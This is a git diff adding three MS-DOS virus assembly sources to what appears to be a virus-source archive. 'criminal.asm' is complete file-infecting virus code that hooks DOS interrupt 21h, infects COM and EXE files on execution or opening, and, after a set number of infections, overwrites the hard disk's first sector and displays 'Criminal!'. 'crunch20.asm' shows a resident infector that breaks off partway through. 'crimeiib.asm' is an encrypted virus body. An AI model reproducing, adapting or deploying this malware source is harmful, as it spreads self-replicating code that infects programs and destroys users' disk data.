b/MSDOS/Virus.MSDOS.Unknown.crimeiib.asm @@ -0,0 +1,394 @@ + +PAGE 59,132 + +; +; +; CRIMEIIB +; +; Created: 31-Jan-91 +; Passes: 5 Analysis Options on: none +; +; + +data_8e equ 20D3h ;* +data_9e equ 28C9h ;* +data_10e equ 3C81h ;* +data_26e equ 8ECDh ;* +data_34e equ 0B7C5h ;* +data_37e equ 0D848h ;* +data_38e equ 0E245h ;* +data_44e equ 0F198h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +crimeIIb proc far + +start: +;* jmp loc_2 ;* + db 0E9h,0FFh,0FFh + db 1 ; Data table (indexed access) + db 00h, 99h, 5Eh, 81h,0EEh, 03h + db 01h, 83h,0FEh, 00h, 74h, 1Ch + db 2Eh, 8Ah, 94h, 03h, 01h, 8Dh +loc_3: + mov ax,cs + push es + lea bx,[si+12Ah] ; Load effective addr + sub cx,bx + +locloop_4: + mov al,cs:[bx] + xor al,dl + ror dl,1 ; Rotate + mov cs:[bx],al + inc bx + loop locloop_4 ; Loop if cx > 0 + + mov bh,4Ch ; 'L' + loop $+32h ; Loop if cx > 0 + + cbw ; Convrt byte to word + iret ; Interrupt return +;* js loc_6 ;*Jump if sign=1 + db 78h, 35h + xchg ax,di + retn 3479h + adc al,70h ; 'p' + scasb ; Scan es:[di] for al + xor ax,4C20h + db 66h, 83h, 99h, 30h, 95h, 99h + db 29h, 90h, 48h,0BBh, 1Dh, 04h + db 60h, 1Dh, 11h, 48h, 8Eh, 35h + db 0B7h, 44h,0E2h, 3Bh, 9Eh, 41h + db 0F2h, 7Bh, 9Eh, 78h, 7Ch,0FEh + db 0B8h,0FFh,0A6h, 2Dh, 17h, 14h + db 0C7h, 35h, 98h,0D3h, 5Bh, 33h + db 99h +loc_6: + mov cx,1D6Ch + pop di + dec ax + db 0C8h, 32h, 99h, 5Ch, 8Dh, 3Bh + db 09h,0E2h,0A0h,0B7h, 37h,0CDh + db 67h,0A3h, 72h, 81h,0F6h + +locloop_7: + jle loc_3 ; Jump if < or = +;* call far ptr sub_7 ;* + db 9Ah, 63h, 33h, 99h,0CCh + db 67h, 33h, 98h, 3Ch, 99h,0C3h + db 66h,0CCh, 66h, 33h, 99h,0CDh + db 66h,0FEh,0B9h,0CCh + db 64h, 37h + db 99h + db 0CCh, 66h + dw 9931h ; Data table (indexed access) + db 33h, 69h,0CCh, 66h,0CCh, 66h + db 0CDh, 66h,0CCh, 66h,0D3h, 98h + db 0CCh, 66h, 2Fh, 99h,0CCh, 66h + db 26h, 98h,0CEh + db 65h, 33h + +locloop_8: + cbw ; Convrt byte to word + xor bp,[bp+si+39h] + cbw ; Convrt byte to word + out 48h,al ; port 48h ??I/O Non-standard + jbe $-3Dh ; Jump if below or = + mov [bp+19h],sp + mov bh,8Fh + sub [bp-67h],di + in al,dx ; port 0, DMA-1 bas&add ch 0 + db 66h, 37h, 70h,0CCh, 66h,0B0h + db 67h,0CCh, 13h, 30h, 70h, 1Bh + db 66h, 1Dh, 12h, 48h,0F7h + db 32h,0A4h, 81h, 3Ch +loc_10: + inc si + nop + loop locloop_7 ; Loop if cx > 0 + + mov bh,16h + int 67h ; ??INT Non-standard interrupt + esc 0,[bp+si+485Ch] ; coprocessor escape + cmc ; Complement carry + sbb ax,6743h + xor dx,[si] +;* jo loc_11 ;*Jump if overflow=1 + db 70h,0F7h + xor ah,[bp+si] + int 3 ; Debug breakpoint + db 67h, 8Ah, 97h,0CCh + +locloop_12: + in ax,dx ; port 0, DMA-1 bas&add ch 0 + db 36h, 10h,0CBh, 25h + db 70h,0DEh, 8Bh, 84h,0C5h,0B7h + db 47h,0E2h,0B0h, 98h,0E2h,0EFh + db 0B7h, 1Ch,0CDh + db 48h,0B8h, 1Dh, 4Bh, 67h, 1Dh + db 10h, 48h,0EFh, 32h,0B7h, 47h + db 0E2h, 94h, 98h,0E2h,0EFh,0B7h + db 12h,0CDh,0D2h, 19h, 54h,0EDh + db 48h, 0Ah, 0Dh, 78h, 67h, 4Fh + db 9Ah, 27h, 19h,0A3h,0B7h,0F6h + db 0E2h, 9Dh, 98h,0B9h, 65h,0D8h + db 0ECh, 5Ch,0EBh,0AFh, 16h,0CEh + db 0DFh, 2Ah, 99h,0E2h,0ECh, 24h + db 19h, 3Eh, 33h, 87h, 9Bh, 01h + db 47h, 70h, 7Bh, 3Fh,0EBh,0AFh + db 51h,0CAh,0DEh, 33h, 98h,0FFh + db 0AFh, 1Dh, 10h,0CBh, 25h, 70h + db 67h, 08h, 27h,0B0h, 60h,0ECh + db 18h,0C0h, 14h, 50h,0AEh, 35h + db 2Ch,0CCh,0DCh,0B3h, 99h, 79h + db 66h, 83h, 99h, 7Dh, 60h,0E1h + db 79h, 46h,0AEh,0B3h, 50h,0CDh + db 0DEh, 33h, 9Ch, 01h, 75h, 41h + db 9Eh, 32h,0A0h,0B3h, 67h,0C5h + db 13h,0D6h, 20h,0C9h, 66h, 87h + db 9Bh, 7Eh, 61h,0FEh,0B8h, 2Eh + db 9Eh,0D8h, 67h, 93h, 3Eh, 22h + db 8Dh,0CDh, 72h, 25h, 9Eh,0D0h + db 7Eh, 23h,0ECh,0D0h, 7Ah, 46h + db 0ECh,0CFh, 7Ah, 34h, 99h,0CAh + db 39h, 6Bh,0C6h, 94h,0D2h, 2Ah + db 54h,0EDh, 48h,0BBh, 1Dh, 09h + db 67h, 87h,0DEh,0FFh,0B4h + db 65h + db 14h, 78h,0AFh, 35h, 54h,0EDh + db 38h + db 1Dh, 5Fh, 48h,0D0h, 32h, 99h + db 24h, 3Bh + +locloop_17: + xor dx,[si] + push ax + db 0C9h, 32h,0B7h, 46h,0E2h, 85h + db 98h,0E2h, 98h,0B7h, 2Fh,0CDh + db 0FEh + db 30h + db 41h,0E2h,0ECh, 34h + db 13h, 1Ch, 5Ah,0CCh,0ECh,0CFh + db 8Fh, 1Eh, 9Ah, 4Ch, 9Ch, 32h + db 0ECh,0DCh, 48h,0B9h, 1Dh, 62h + db 67h, 0Fh, 98h,0B8h,0B3h, 0Fh + db 9Bh,0B9h, 65h,0DAh,0A5h, 33h + db 0D2h, 3Dh, 54h,0EDh,0D2h, 74h + db 2Bh,0CCh, 30h,0BEh, 2Dh, 25h + db 60h,0FEh,0B8h, 92h,0DDh, 37h + db 99h,0E2h + db 0ECh, 34h,0A5h,0CFh, 13h, 34h + db 29h,0CCh, 48h,0BBh, 9Eh, 27h + db 0CBh,0DBh, 85h,0CDh, 8Eh,0ABh + db 99h + db 0BFh, 48h,0D8h, 3Ah,0FFh,0A6h + db 2Dh, 17h, 14h,0DDh,0A3h, 99h + db 47h, 21h, 31h,0B7h, 45h,0E2h + db 4Eh, 98h, 47h, 61h, 1Dh, 10h + db 48h, 19h, 32h, 15h, 04h,0EFh + db 74h, 9Bh, 41h,0E2h, 74h, 9Ah + db 45h, 61h, 2Ch, 5Ah, 77h, 62h + db 33h,0B7h, 0Ah, 61h, 30h, 56h + db 75h, 26h, 33h,0CFh, 83h, 29h + db 7Ch, 5Eh,0C9h, 46h, 6Fh, 12h + db 3Fh, 9Ah, 9Fh, 33h, 85h, 5Ah + db 33h,0ECh, 35h, 38h, 87h,0A2h + db 41h,0F2h, 3Bh, 9Eh, 01h, 47h + db 0DBh, 51h,0CCh, 8Eh, 77h, 99h + db 0BFh,0BCh, 87h,0A2h, 41h,0F2h + db 0DBh, 9Fh, 01h, 47h, 1Dh + db 67h, 48h + +locloop_21: + retf + xor dh,[bx+di-2] + db 66h, 40h, 9Ah, 25h,0E0h, 31h + db 0B7h, 46h,0E2h, 9Eh, 98h,0F0h + db 66h, 46h, 9Ch, 4Fh,0A5h, 3Ah + db 72h, 7Bh,0D2h, 7Ch,0C9h, 01h + db 47h, 6Bh,0EAh,0CFh, 8Fh, 10h + db 66h, 9Ch,0D2h, 1Ch, 54h,0EDh + db 0E5h,0F0h, 8Ch + db 7Ch, 76h, 1Dh,0A1h,0CBh, 3Eh + db 46h, 7Ch, 32h,0AEh,0D8h + db 41h, 41h,0DAh, 3Ah, 9Eh, 75h + db 5Ch, 33h, 29h,0CCh, 9Ah,0C0h + db 33h, 78h, 21h, 65h,0AAh, 1Eh + db 0EBh, 87h, 90h,0CBh,0ABh, 12h + db 0C7h, 30h,0EBh, 8Fh, 90h,0CBh + db 0DFh, 73h, 99h, 7Ch, 66h,0C1h + db 37h,0B8h, 64h,0CAh, 5Ah, 83h + db 29h,0B9h, 9Ch,0F0h + db 3Ah, 47h + db 9Ah, 8Bh,0D6h, 6Fh,0B7h, 44h + db 63h, 74h, 29h,0E6h, 48h,0BBh + db 9Ch, 8Bh,0D6h, 1Dh,0B7h, 44h + db 63h, 74h, 29h,0E6h, 48h,0BBh + db 9Ch, 8Bh,0EBh,0A7h, 91h,0CBh + db 0D2h, 7Dh, 20h,0DCh, 66h,0FEh + db 0B8h,0BFh, 67h,0F0h, 2Dh,0E3h + db 60h,0FEh,0B8h, 4Fh,0A5h, 26h + db 29h,0DCh + db 40h, 0Bh, 9Eh,0CBh, 13h + db 21h, 61h, 78h, 49h, 35h, 54h +loc_26: + in ax,dx ; port 0, DMA-1 bas&add ch 0 + in ax,0F0h ; port 0F0h ??I/O Non-standard + xchg di,[si+48h] + sbb ax,0CBA1h + db 61h, 47h, 98h, 0Fh,0D2h, 7Ch + db 54h,0EDh, 15h,0EBh, 60h, 0Fh + db 0D2h, 7Dh, 20h,0CBh, 66h,0BEh + db 0Dh, 7Bh, 67h,0FEh,0B8h,0BEh + db 77h,0DBh,0B4h,0CCh,0D2h, 7Ch + db 20h,0CBh, 66h,0FEh,0B8h,0BEh + db 63h,0DBh,0B8h,0CCh, 8Dh,0C1h + db 14h, 58h,0DBh, 32h, 2Dh, 82h + db 0DFh, 34h, 99h, 01h, 47h, 41h + db 88h, 24h, 69h, 33h, 2Dh, 83h + db 0DFh, 34h, 99h, 01h, 47h, 41h + db 9Ch, 24h, 65h, 33h, 72h, 3Eh + db 0A5h, 87h,0B6h,0CAh,0ABh, 12h + db 1Ah, 0Fh, 79h, 15h, 13h,0CBh + db 61h, 0Fh,0DBh,0B9h, 67h,0F0h + db 2Dh,0E3h, 60h,0FEh,0B8h, 4Fh + db 0A5h, 25h,0BFh, 47h, 69h,0B0h + db 5Ah,0CEh, 40h,0B8h, 8Eh,0CBh + db 0ECh,0F2h,0BDh, 2Ch,0ECh,0D3h + db 0C8h + db 'uc3K$' + db '?9]' + db 0C8h, 63h, 09h, 58h,0B8h, 63h + db 0B9h, 51h, 27h, 64h,0A3h, 5Ah + db 94h, 3Eh, 62h,0CBh,0D2h, 60h + db 87h,0B6h, 01h, 47h,0BFh, 59h + db 42h,0BEh,0DBh, 8Ah,0CDh,0EDh + db 0E0h, 1Ah, 0Eh, 78h, 8Bh, 9Bh + db 0F1h,0ABh, 12h, 12h, 14h, 61h + db 2Ch, 2Dh,0F3h,0EBh,0A7h, 08h + db 0CDh,0DFh, 2Fh, 99h, 01h, 47h + db 1Dh + db 13h, 68h,0F7h + db 32h,0B7h, 46h,0E2h,0A1h, 98h + db 0F1h, 3Ch, 7Eh,0EDh,0CFh, 8Fh + db 0AAh, 99h,0E2h,0EDh,0B7h, 3Ch + db 0CDh, 48h,0BAh, 1Dh, 4Fh, 67h + db 1Dh, 12h, 48h,0C1h, 32h,0B7h + db 45h,0E2h,0B4h, 98h,0E2h + db 0EDh,0B7h, 0Ch,0CDh, 35h, 00h + db 42h,0FFh,0AFh,0E2h, 49h, 46h + db 0AAh,0E2h, 41h, 4Fh, 9Fh, 33h + db 0EDh,0CAh,0E7h,0F0h, 99h,0DCh + db 84h,0C9h, 28h,0C5h,0B5h,0D3h + db 20h,0C8h, 66h, 1Dh, 12h, 58h + db 0FFh, 32h, 4Ah, 2Eh, 36h, 18h + db 5Bh,0E2h,0EFh,0AFh, 3Eh,0CDh + db 48h,0BAh, 05h + db 53h, 67h + db 1Dh, 10h, 48h,0C3h, 32h, 20h + db 0CCh, 64h, 1Dh, 10h, 40h,0F5h + db 32h, 20h, 32h, 99h, 1Dh, 10h + db 40h,0C7h, 32h,0B7h, 47h,0EAh + db 0A6h, 98h, 4Fh,0A7h, 30h,0B7h + db 45h + +locloop_31: + jmp far ptr $-6CB4h + loop $+74h ; Loop if cx > 0 + + sbb ax,0E28Dh + jc $+4Ch ; Jump if carry Set + mov cx,52B8h + xchg ax,si + esc 6,[bp+di] ; coprocessor escape + esc 3,ds:[12ABh][bx] ; coprocessor escape +;* jno loc_30 ;*Jump if not overflw + db 71h,0C9h + db 67h, 8Bh, 99h, 8Eh, 55h,0FAh + db 0AAh, 1Eh,0ABh, 12h, 2Dh, 8Ch + db 0DFh, 2Fh, 99h, 41h,0F2h,0A2h + db 98h, 01h, 47h,0D8h,0AEh, 5Ch + db 0DEh, 31h,0DBh,0FFh,0AFh, 00h + db 4Bh, 01h, 47h,0DBh, 7Bh,0CCh + db 0DEh, 33h,0DBh,0FFh,0AFh, 00h + db 4Bh, 01h, 47h, 87h,0B6h, 9Fh + db 60h,0FEh,0B8h, 4Fh,0A5h, 29h + db 0BFh, 47h, 61h, 34h,0C2h,0E1h + db 65h, 33h,0B7h, 45h,0E2h,0F4h + db 98h, 78h, 26h, 8Ah, 9Ah,0CCh + db 0EBh,0A7h, 5Fh,0CDh,0ABh, 12h + db 0C3h, 95h,0DEh, 32h,0CEh, 01h + db 47h, 87h,0A7h, 01h, 47h,0DBh + db 0B5h,0CCh,0D2h, 08h, 14h, 58h + db 8Eh, 35h, 54h,0EDh, 8Dh, 09h + db 09h, 78h, 49h, 35h,0CAh + db 01h, 47h,0B8h, 4Ah, 4Fh,0A4h + db 2Dh, 21h,0CCh, 25h,0FEh,0B8h + db 97h, 61h, 1Dh, 10h, 40h,0A5h + db 32h, 18h, 2Dh, 98h, 33h, 21h + db 0CDh, 25h,0FEh,0B8h, 0Fh, 48h + db 0B8h, 15h, 0Fh, 67h, 87h,0B6h + db 0CAh, 35h,0FEh,0B8h, 47h,0B5h + db 0B0h, 5Bh,0D2h,0DEh, 32h,0DAh + db 01h, 47h, 68h, 9Eh, 0Fh,0D2h + db 3Dh + db 0B7h, 46h,0F2h,0F6h, 98h, 01h + db 47h, 87h,0A2h, 41h,0F2h,0FBh + db 9Fh +loc_34: + add [bx-25h],ax + mov word ptr ds:[61CCh],ax + sub al,2Dh ; '-' + db 0D6h,0DCh,0B3h, 99h, 01h, 47h + db 0B8h, 5Fh,0F1h, 66h, 33h,0EDh + db 0EAh, 48h,0B9h, 1Dh, 43h, 67h + db 0Fh, 98h,0B9h, 7Eh, 1Dh, 12h + db 48h,0EFh, 32h,0B7h, 47h,0FAh + db 0B8h, 98h,0C2h, 3Fh, 18h, 52h + db 0CFh,0AEh, 62h,0B7h, 47h,0E2h + db 0B6h, 98h, 9Ch,0ADh, 88h, 99h + db 0CDh, 99h,0D0h + db 2Dh +loc_35: + sub byte ptr [bp+di-55EEh],0Ch + js loc_34 ; Jump if sign=1 + inc cx + ja loc_35 ; Jump if above + xor si,word ptr ds:[0E247h][bx] + dec si + cbw ; Convrt byte to word + inc bp + and [bx+di],si + adc cl,[bx+si+19h] + xor dl,[bx+si] + retf +;* jns loc_36 ;*Jump if not sign + db 79h,0F0h + retf 0EA41h + cmp bx,[bp-48B9h] + mov si,5B05h + db 60h, 18h, 52h, 4Fh, 8Fh, 73h + db 0B7h, 46h, 61h,0B4h, 43h,0E2h + db 0EEh, 34h, 1Eh, 16h, 25h, 71h + db 7Bh, 3Eh, 8Dh, 41h, 09h, 24h + db 69h, 33h,0C2h, 41h,0EAh,0FBh + db 9Fh, 41h,0F2h, 33h, 98h,0E7h + db 0ACh, 87h,0D9h, 01h, 47h, 1Dh + db 13h, 58h, 65h, 32h,0CAh, 41h + db 0EAh,0FBh, 9Fh, 41h,0FAh, 19h + db 98h,0E7h,0ADh, 1Dh, 13h,0CBh + db 54h,0F1h, 49h, 06h, 48h,0BBh + db 9Eh, 8Fh, 84h,0C0h,0C2h, 0Fh + +crimeIIb endp + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.criminal.asm b/MSDOS/Virus.MSDOS.Unknown.criminal.asm new file mode 100644 index 00000000..4049f91a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.criminal.asm @@ -0,0 +1,648 @@ +.8086 +.model tiny +.code + +virussize equ offset speend - offset start + +start: + call $+3 + pop si + sub si,3 + mov ax,4270h + int 21h + cmp ax,'ww' + jne virsetup + jmp AllreadyInstalled +virsetup: + call virlen + sub word ptr ds:[2],ax + mov bp,word ptr ds:[2] + mov dx,ds + sub bp,dx + push es + mov ah,4ah + mov bx,0ffffh + int 21h + mov ah,4ah + int 21h + dec dx + mov ds,dx + mov ax,word ptr ds:[3] + mov bx,ax + call virlen + sub bx,ax + mov ax,bx + add dx,ax + mov word ptr ds:[3],ax + inc dx + mov es,dx + mov byte ptr es:[0],5ah + mov word ptr es:[1],8 + call virlen + mov word ptr es:[3],ax + inc dx + mov es,dx + pop dx + push es + push cs + pop ds + mov cx,virussize + xor di,di + cld + rep movsb + mov si,offset inhigh + push si + mov es,dx + mov ah,4ah + mov bx,bp + int 21h + retf + +AllreadyInstalled: + mov bp,si + add si,offset oldbyte + mov ax,word ptr cs:[si] + not ax + cmp ax, not 5A4Dh + je jmp2exe + mov di,100h + push cs + pop ds + push ss di ss + pop es + mov cx,18h + cld + rep movsb + push es + pop ds + call clear_exit + xor bp,bp + retf + +jmp2exe: + mov ah,62h + int 21h + mov ds,bx + mov es,bx + add bx,10h + add word ptr cs:[bp+oldbyte+16h],bx + cli + add bx,word ptr cs:[bp+oldbyte+0eh] + mov ss,bx + mov sp,word ptr cs:[bp+oldbyte+10h] + call clear_exit + sti + jmp dword ptr cs:[bp+oldbyte+14h] + +clear_exit: + xor ax,ax + xor cx,cx + xor dx,dx + xor si,si + xor di,di + xor bx,bx + ret + +inhigh: + push cs + pop ds + mov word ptr ds:[mycs],cs + + mov bx,1 + call getint + + mov word ptr ds:[v01],di + mov word ptr ds:[v01+2],es + + mov bx,1 + lea si,ent01 + call setint + + mov byte ptr ds:[setjmp],0 + mov byte ptr ds:[traceok],0 + + pushf + pop ax + or ah,1 + push ax + popf + + xor ax,ax + mov ds,ax + mov ah,30h + pushf + call dword ptr ds:[21h*4] + + call swapint21 + + pushf + pop ax + and ah,0feh + push ax + popf + + xor si,si + + jmp AllreadyInstalled + +ent01: + push bp + mov bp,sp + push ax + mov ax,cs + cmp word ptr ss:[bp+4],ax + je exit01 + cmp byte ptr cs:[setjmp],1 + jne getint21 + dec byte ptr cs:[counter] + jnz exit01 + call swapint21 + mov byte ptr cs:[setjmp],0 + jmp restint01 +getint21: + cmp byte ptr cs:[traceok],1 + je restint01 + cmp word ptr ss:[bp+4],0 + je exit01 + cmp word ptr ss:[bp+4],300h + jnc exit01 + mov ax,word ptr ss:[bp+2] + mov word ptr cs:[v21org],ax + mov ax,word ptr ss:[bp+4] + mov word ptr cs:[v21org+2],ax + mov byte ptr cs:[traceok],1 +restint01: + and word ptr ss:[bp+6],0feffh + push bx si ds + lds si,dword ptr cs:[v01] + mov bx,1 + call setint + pop ds si bx +exit01: + pop ax bp + iret + +swapint21: + cli + push ds es di si ax cx + push cs + pop ds + mov cx,5 + lea si,jmptome + les di,dword ptr ds:[v21org] +swp: + mov al,byte ptr ds:[si] + xchg al,byte ptr es:[di] + mov byte ptr ds:[si],al + inc di + inc si + loop swp + pop cx ax si di es ds + sti + ret + +installed: + call popall + call dos + call swapint21 + mov ax,'ww' + retf 2 + +ent21: + call pushall + call swapint21 + cmp ax,4270h + je installed + call set24 + cmp ax,4b00h + je infect1 + cmp ah,3dh + je infect3d + jmp exit21_2 +infect3d: + call checkname + jnc infect1 + jmp exit21_2 +infect1: + cmp word ptr cs:[infcnt],1313h + jne infcontinue + jmp killer +infcontinue: + mov word ptr cs:[fname],dx + mov word ptr cs:[fname+2],ds + mov ax,4300h + call dos + jnc getattr + jmp exit21_2 +getattr: + mov word ptr cs:[attr],cx + mov ax,4301h + xor cx,cx + call dos + jnc setattr + jmp exit21_2 +setattr: + mov ax,3d02h + call dos + jnc openf + jmp restoreattr +openf: + xchg ax,bx + push cs + pop ds + mov ax,5700h + call dos + mov word ptr ds:[ftime],cx + mov word ptr ds:[fdate],dx + and cx,1fh + cmp cx,1fh + jne infectcontinue + jmp closefile +infectcontinue: + mov ah,3fh + mov cx,18h + lea dx,oldbyte + call dos + jnc readfile + jmp restoretime +readfile: + mov cx,18h + push cs + pop es + lea di,bytes + lea si,oldbyte + cld + rep movsb + + mov ax,word ptr ds:[bytes] + not ax + cmp ax,not 'MZ' + jne chk1 + jmp exeinf +chk1: + cmp ax,not 'ZM' + jne comok + jmp exeinf +comok: + mov ax,4202h + xor cx,cx + xor dx,dx + call dos + or dx,dx + jz sizeok1 + jmp restoretime +sizeok1: + cmp ax,60000 + jb sizeok2 +clfile: + jmp restoretime +sizeok2: + cmp ax,1024 + jb clfile + mov bp,ax + sub ax,3 + mov byte ptr ds:[bytes],0e9h + mov word ptr ds:[bytes+1],ax + add bp,100h + mov ah,1 + call rndget +addvirus: + inc word ptr ds:[infcnt] + call calcseg + mov cx,virussize + lea si,start + push bx + call spe + pop bx + push es + pop ds + mov ah,40h + xor dx,dx + call dos + push cs + pop ds + jnc writebody + jmp restoretime +writebody: + mov ax,4200h + xor cx,cx + xor dx,dx + call dos + + mov ah,40h + lea dx,bytes + mov cx,18h + call dos + jnc writeheader + jmp restoretime +writeheader: + mov cx,word ptr ds:[ftime] + or cx,1fh + jmp short settim1 +restoretime: + mov cx,word ptr ds:[ftime] +settim1: + mov dx,word ptr ds:[fdate] + mov ax,5701h + call dos +closefile: + mov ah,3eh + call dos +restoreattr: + mov ax,4301h + mov cx,word ptr ds:[attr] + lds dx,dword ptr ds:[fname] + call dos + +exit21_2: + call restore24 + push cs + pop ds + mov bx,1 + call getint + mov word ptr ds:[v01],di + mov word ptr ds:[v01+2],es + + mov byte ptr ds:[setjmp],1 + mov byte ptr ds:[counter],5 + + lea si,ent01 + mov bx,1 + call setint + + pushf + pop ax + or ah,1 + push ax + popf + + call popall + jmp dword ptr cs:[v21org] + +pushall: + pop word ptr cs:[saveip] + push ax bx cx dx ds es si di bp + jmp word ptr cs:[saveip] + +popall: + pop word ptr cs:[saveip] + pop bp di si es ds dx cx bx ax + jmp word ptr cs:[saveip] + +exeinf: + mov ax,4202h + xor cx,cx + xor dx,dx + call dos + jnc exeinf1 + jmp restoretime +exeinf1: + mov word ptr ds:[flen],ax + mov word ptr ds:[flen+2],dx + push bx + mov bx,10h + div bx + mov bx,word ptr ds:[bytes+8h] + mov word ptr ds:[bytes+14h],dx + mov bp,dx + sub ax,bx + mov word ptr ds:[bytes+16h],ax + mov bx,virussize + mov cl,4 + shr bx,cl + inc bx + add ax,bx + mov word ptr ds:[bytes+0eh],ax + mov word ptr ds:[bytes+10h],100h + mov ax,virussize + mov dx,word ptr ds:[flen+2] + add ax,word ptr ds:[flen] + adc dx,0 + mov bx,200h + div bx + or dx,dx + jz exeinf2 + inc ax + xor dx,dx +exeinf2: + mov word ptr ds:[bytes+4],ax + mov word ptr ds:[bytes+2],dx + pop bx + mov al,1 + jmp addvirus + +dos: + pushf + db 09ah +v21org dw 0,0 + ret + +checkname: + mov di,dx + push ds + pop es + mov cx,128 + cld + mov al,0 + repne scasb + jne error1 + mov si,di + sub si,4 + lodsw + or ax,2020h + cmp ax,'oc' + je chklast + cmp ax,'xe' + jne error1 +chklast: + lodsb + or al,20h + cmp al,'m' + je nameok + cmp al,'e' + je nameok +error1: + stc + ret +nameok: + clc + ret + +ent24: + mov al,3 + iret + + db 'Wild W0rker /DC' + +set24: + push bx es di ds si + mov bx,24h + push bx + call getint + mov word ptr cs:[v24],di + mov word ptr cs:[v24+2],es + pop bx + push cs + pop ds + lea si,ent24 + call setint + pop si ds di es bx + ret +restore24: + push ds si bx + mov bx,24h + lds si,dword ptr cs:[v24] + call setint + pop bx si ds + ret + +; ds:si - int handler +; bx - int number +setint: + cli + push ax es + shl bx,1 + shl bx,1 + xor ax,ax + mov es,ax + mov word ptr es:[bx],si + mov word ptr es:[bx+2],ds + pop es ax + sti + ret + +; bx - int num. +; out: es:di - int handler +getint: + cli + push ax + shl bx,1 + shl bx,1 + xor ax,ax + mov es,ax + les di,dword ptr es:[bx] + pop ax + ret + +calcseg: + push ax + lea si,speend + mov cl,4 + shr si,cl + mov ax,es + add ax,si + inc ax + mov es,ax + pop ax + ret + +killer: + mov ax,0301h + mov dx,80h + mov cx,1 + int 13h + + mov ax,3 + int 10h + push cs + pop ds + lea si,mes + mov word ptr ds:[pos],160*3 + mov bp,word ptr ds:[pos] + call writebig + cli + jmp $ + +writebig: + xor ax,ax + lodsb + cmp al,255 + je nextline + cmp al,0 + je endwrt + push ds si + mov si,0f000h + mov ds,si + add si,0a6eh + mov cl,3 + shl ax,3 + add si,ax + call bigchar + pop si ds + add word ptr ds:[pos],18 + jmp writebig +nextline: + mov ax,word ptr ds:[pos] + sub ax,bp + mov bx,160 + sub bx,ax + add word ptr ds:[pos],bx + add word ptr ds:[pos],9*160 + jmp writebig +endwrt: + ret + +bigchar: + mov di,0b800h + mov es,di + mov di,word ptr cs:[pos] + mov cx,8 +cycle01: + push cx + lodsb + mov cx,7 +cycle02: + push ax + shr al,cl + and al,1 + jnz setbit + mov al,32 + jmp short printbit +setbit: + mov al,219 +printbit: + stosb + inc di + pop ax + loop cycle02 + add di,160-14 + pop cx + loop cycle01 + add word ptr ds:[pos],di + ret + +pos dw 0 +mes db 'Criminal!',255,'by WW /DC',0 + +virlen: + push cx + mov ax,offset speend + sub ax,offset start + mov cx,3 + shr ax,cl + add ax,10h + pop cx + ret + +jmptome db 0eah + dw offset ent21 +mycs dw 0 +oldbyte dw 18h / 2 dup (20cdh) +bytes dw 18h / 2 dup (20cdh) +v01 dw 0,0 +setjmp db 0 +counter db 0 +saveip dw 0 +traceok db 0 +fdate dw 0 +ftime dw 0 +fname dw 0,0 +attr dw 0 +flen dw 0,0 +v24 dw 0,0 +infcnt dw 0 +extrn spe:near +extrn speend:near +extrn rndget:near +last: + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.crunch20.asm b/MSDOS/Virus.MSDOS.Unknown.crunch20.asm new file mode 100644 index 00000000..04d15f77 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.crunch20.asm @@ -0,0 +1,1932 @@ +;----------------------------------------------------------------------------- +; Cruncher VIRUS version 2.0 +; +; Use MASM 4.0 to compile this source +; (other assemblers will probably not produce the same result) +; +; Disclaimer: +; This file is only for educational purposes. The author takes no +; responsibility for anything anyone does with this file. Do not +; modify this file! +;----------------------------------------------------------------------------- + + + .RADIX 16 + + +_TEXT segment + + assume cs:_TEXT, ds:_TEXT + + +VERSION equ 2 +FILELEN equ last - first ;length of virus +FILEPAR equ (FILELEN + 010F)/10 ;length of virus in paragraphs +STACKOFF equ 1000 ;Stack offset +BUFLEN equ 18 ;length of buffer + + +;--------------------------------------------------------------------------- +; data area for virus +;--------------------------------------------------------------------------- + + org 00E0 + +oi21 dw 0, 0 ;original interupt 21 +orglen dw 0, 0 ;original size of file +oldlen dw 0, 0 ;size of file to be packed +newlen dw 0, 0 ;size of packed file +lm_par dw 0 ;size of load module (p) +workseg dw 0 ;work segment +topseg dw 0 ;top of work area +vorm dw 0 +savevorm dw 0 +reads db 0 + + + +;----------------------------------------------------------------------------- +; begin of virus, installation in memory +;----------------------------------------------------------------------------- + + org 0100 + +first: call next ;get IP +next: pop si + sub si,low 3 ;SI = begin virus + mov di,0100 + cld + + push ax ;save registers + push ds + push es + push di + push si + + mov ah,30 ;DOS version >= 3.1? + int 21 + xchg ah,al + cmp ax,030A + jb not_install + + mov ax,33E0 ;already resident? + int 21 + cmp ah,0A5 + je not_install + + mov ax,es ;adjust memory-size + dec ax + mov ds,ax + xor bx,bx + cmp byte ptr [bx],5A + jne not_install + mov ax,[bx+3] + sub ax,FILEPAR + jb not_install + mov [bx+3],ax + sub word ptr ds:[bx+12],FILEPAR + + mov es,[bx+12] ;copy program to top + push cs + pop ds + mov cx,FILELEN + rep movsb + + push es + pop ds + + mov ax,3521 ;get original int21 vector + int 21 + mov ds:[oi21],bx + mov ds:[oi21+2],es + + mov dx,offset ni21 ;install new int21 handler + mov ax,2521 + int 21 + +not_install: pop si ;restore registers + pop di + pop es + pop ds + pop ax + + add si,(offset buffer-100) + cmp byte ptr cs:[si],4Dh ;COM or EXE ? + je entryE + +entryC: push di ;restore COM file + mov cx,BUFLEN + rep movsb + ret + +entryE: mov bx,ds ;calculate CS + add bx,low 10 + mov cx,bx + add bx,cs:[si+0E] + cli ;restore SS and SP + mov ss,bx + mov sp,cs:[si+10] + sti + add cx,cs:[si+16] + push cx ;push new CS on stack + push cs:[si+14] ;push new IP on stack + db 0CBh ;retf + + +;----------------------------------------------------------------------------- +; interupt 24 handler +;----------------------------------------------------------------------------- + +ni24: mov al,3 ;to avoid 'Abort, Retry, ...' + iret + + +;----------------------------------------------------------------------------- +; interupt 21 handler +;----------------------------------------------------------------------------- + +ni21: pushf + + cmp ax,33E0 ;install-check ? + jne not_ic + mov ax,0A500+VERSION ;return a signature + popf + iret + +not_ic: cmp ax,33E1 ;print message ? + jne not_mes + push ds + push cs + pop ds + mov dx,offset printme + mov ah,9 + int 21 + pop ds + popf + iret + +not_mes: push es ;save registers + push ds + push si + push di + push dx + push cx + push bx + push ax + + cmp ax,4B00 ;execute ? + jne no_infect + + call infect + +no_infect: pop ax ;restore registers + pop bx + pop cx + pop dx + pop di + pop si + pop ds + pop es + popf + +org21: jmp dword ptr cs:[oi21] 